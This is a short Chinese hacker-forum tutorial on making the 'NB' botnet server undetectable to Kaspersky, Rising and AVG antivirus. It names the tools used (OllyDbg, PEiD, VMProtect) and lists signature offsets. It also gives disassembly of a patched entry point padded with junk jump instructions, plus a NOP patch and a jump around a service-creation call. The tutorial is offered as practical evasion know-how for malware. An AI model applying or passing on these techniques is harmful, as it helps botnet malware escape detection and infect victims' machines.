============================================
                 [黑客防线]
           打造网络安全第一品牌
           研究最新黑客攻防技术
            WwW.HacKeR.CoM.Cn
               --永恒迟客--
               QQ:87039030
                教程系列之
                                      
============================================

教程只是给你带来思路，开拓未来还是需要你的一双
勤劳的手。教程没有一层不变，不同的环境也许操作也不同。


大家好  我是永恒迟客 非常感谢大家看我的系列教程

今天的教程给大家带来的是 《网络僵尸系列免杀--NB僵尸的强免杀》


技术要领：通过加花指令，将卡巴斯基特征码转移到文件头，在通过VMP将文件头加密！实现不定位，逃过卡巴斯基的查杀！je jnz 74 75

所需要工具！od，peid，OC,vmprotect



瑞星特征码:




AVG特征码00401AC3




87039030






0040361E >/$  55              push ebp
0040361F  |.  8BEC            mov ebp,esp




00407000    55                push ebp
00407001    8BEC              mov ebp,esp
00407003    90                nop
00407004    90                nop
00407005    41                inc ecx
00407006    49                dec ecx
00407007    EB 07             jmp short Server.00407010
00407009    90                nop
0040700A    0000              add byte ptr ds:[eax],al
0040700C    0000              add byte ptr ds:[eax],al
0040700E    0000              add byte ptr ds:[eax],al
00407010    41                inc ecx
00407011    49                dec ecx
00407012    90                nop
00407013    90                nop
00407014  - 0F82 04C6FFFF     jb Server.<ModuleEntryPoint>
0040701A  - 0F83 FEC5FFFF     jnb Server.<ModuleEntryPoint>





004013CE  |.  68 FF010F00     push 0F01FF                                                    ; |DesiredAccess = SERVICE_ALL_ACCESS



004013CE      90              nop                                                            ; |DesiredAccess
004013CF      90              nop
004013D0      90              nop
004013D1      90              nop
004013D2      90              nop


00401433      68 FF010F00     push 0F01FF
00401438    ^ EB 99           jmp short 花指令.004013D3



87039030